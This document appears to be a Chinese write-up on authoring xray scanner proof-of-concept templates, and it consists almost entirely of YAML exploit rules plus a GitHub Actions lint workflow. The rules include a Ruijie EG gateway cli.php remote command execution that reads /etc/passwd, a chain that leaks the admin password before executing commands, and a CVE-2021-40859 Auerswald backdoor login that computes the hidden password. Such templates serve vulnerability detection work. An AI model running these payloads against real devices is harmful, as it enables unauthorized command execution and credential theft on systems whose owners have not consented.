一个xray POC的编写全过程

name: Check POCon: [push, pull_request]jobs:  check_poc:    runs-on: ubuntu-18.04    steps:      - uses: actions/setup-python@v1        with:          python-version: 3.7      - uses: actions/checkout@v2        with:          fetch-depth: 1      - name: Prepare        run: |          cd $GITHUB_WORKSPACE &&           wget -nv https://github.com/chaitin/xray/releases/download/1.8.2/xray_linux_amd64.zip &&           pip3 install yamllint &&           unzip xray_linux_amd64.zip &&           echo 'update:              check: false' > config.yaml      - name: Check POC        run: |          cd $GITHUB_WORKSPACE &&           ./xray_linux_amd64 poclint --script "./pocs/*" --filepath "./pocs/" --rules filename,filepath,yamlschema,yamllint,cellint &&           ./xray_linux_amd64 poclint --script "./fingerprints/*" --filepath "./fingerprints/" --rules filename,filepath,yamlschema,yamllint,cellint

name: poc-yaml-******-eg-rcerules:  - method: POST    path: "/cli.php?a=shell"    follow_redirects: false    body: |      notdelay=true&command=cat /etc/passwd    expression: |      response.status == 200 && response.body.bcontains(b""status":true,"data"") && response.body.bcontains(b"root")detail:  author: Jarcis  links:    - http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html

name: poc-yaml-******-eg-cli-rceset:  r1: randomInt(8000, 10000)  r2: randomInt(8000, 10000)rules:  - method: POST    path: /login.php    headers:      Content-Type: application/x-www-form-urlencoded    body: |      username=admin&password=admin?show+webmaster+user    expression: |      response.status == 200 && response.content_type.contains("text/json")    search: |      {"data":".*admins?(?P<password>[^\"]*)  - method: POST    path: /login.php    headers:      Content-Type: application/x-www-form-urlencoded    body: |      username=admin&password={{password}}    expression: |      response.status == 200 && response.content_type.contains("text/json") && response.headers["Set-Cookie"].contains("user=admin") && response.body.bcontains(b"{"data":"0","status":1}")  - method: POST    path: "/cli.php?a=shell"    follow_redirects: false    body: |      notdelay=true&command=expr {{r1}} * {{r2}}    expression: |      response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))detail:  author: Jarcis  links:    - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md

name: poc-yaml-ruijie-eg-cli-rcemanual: truetransport: httpset:    r1: randomInt(8000, 10000)    r2: randomInt(8000, 10000)rules:    r0:        request:            cache: true            method: POST            path: /login.php            headers:                Content-Type: application/x-www-form-urlencoded            body: |                username=admin&password=admin?show+webmaster+user        expression: response.status == 200 && response.content_type.contains("text/json")        output:            search: '"{"data":".*admin\s?(?P<password>[^\\"]*)".bsubmatch(response.body)'            password: search["password"]    r1:        request:            cache: true            method: POST            path: /login.php            headers:                Content-Type: application/x-www-form-urlencoded            body: |                username=admin&password={{password}}        expression: response.status == 200 && response.content_type.contains("text/json") && response.headers["Set-Cookie"].contains("user=admin") && response.body.bcontains(b"{"data":"0","status":1}")    r2:        request:            cache: true            method: POST            path: /cli.php?a=shell            body: |                notdelay=true&command=expr {{r1}} * {{r2}}            follow_redirects: false        expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))expression: r0() && r1() && r2()detail:    author: Jarcis    links:        - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md

["ooo":1,"date":"15.2.2021","tart":"154853254","macaddr":"00:00:00:00:00:00"]

rules:    r1:        # 此处为一个 http request 的例子        request:            method: GET            path: "/"        expression: |            response.status==200         # 相比于 V1 版本新增        output:            search: '"date":"(?P<date>.+?)","tart".bsubmatch(response.body)'               date: search['date']            search: '"tart":"(?P<tart>.+?)","mac".bsubmatch(response.body)'               tart: search['tart']            tartmd5: substr(md5(tart),0,16)  # 对匹配到的tart的内容进行md5加密，然后再截取前十六位            tartty: date + tartmd5 + "asd"  # 对匹配到的date，格式化好后的tart，字符串"asd"进行拼接    r2:        # 上述定义出的变量的使用        request:            method: POST            path: "/"            body:              a={{date}}&b={{tart}}&c={{tartmd5}}&d={{tartty}}        expression: |            response.status==200

```yamlname: poc-yaml-auerswald-cve-2021-40859transport: httpset:    dcnonce: randomLowercase(8)rules:    r1:        request:            method: GET            path: "/about_state"        expression: response.status == 200 && r'serial.*?d+.,'.bmatches(response.body) && r'date.+?20[0-9][0-9].,'.bmatches(response.body)        output:            search: '"serial":"(?P<serial>.+?)","date".bsubmatch(response.body)'            serial: search["serial"]            search1: '"date":"(?P<date>.+?)","macaddr".bsubmatch(response.body)'                        date: search1["date"]            HA: serial + "r2d2" + date            password: substr(md5(HA),0,7)                r2:        request:            method: GET            path: "/tree"        expression: response.status == 401        output:             search2: '"nonce="(?P<nonce>.*)", opaque".submatch(response.headers["WWW-Authenticate"])'            nonce: search2["nonce"]            search3: '"opaque="(?P<opaque>.*)",algorithm".submatch(response.headers["WWW-Authenticate"])'            opaque: search3["opaque"]            cnonce: substr(md5(dcnonce),0,16)            username: '"Schandelah"'            OHA1: username + ":Auerswald:" + password            HA1: md5(OHA1)            resp: HA1 + ":" + nonce + ":" + "00000001" + ":" + cnonce + ":auth:a94ba59ccc1aaf76cedba69ce4d102d2"            respmd5: md5(resp)    r3:        request:            method: GET            path: "/tree"            follow_redirects: true            headers:                Authorization: Digest username="Schandelah", realm="Auerswald", nonce="{{nonce}}", uri="/tree", algorithm=MD5, response="{{respmd5}}", opaque="{{opaque}}", algorithm="MD5", qop=auth, nc=00000001, cnonce="{{cnonce}}"        expression: response.status == 200 && response.body.bcontains(b"Servicetools")expression: r1() && r2() && r3()detail:    author: Jarcis-cy(https://github.com/jarcis-cy)    links:        - https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-007/-auerswald-compact-multiple-backdoors    summary: 'username:Schandelah;password:{{password}}'
```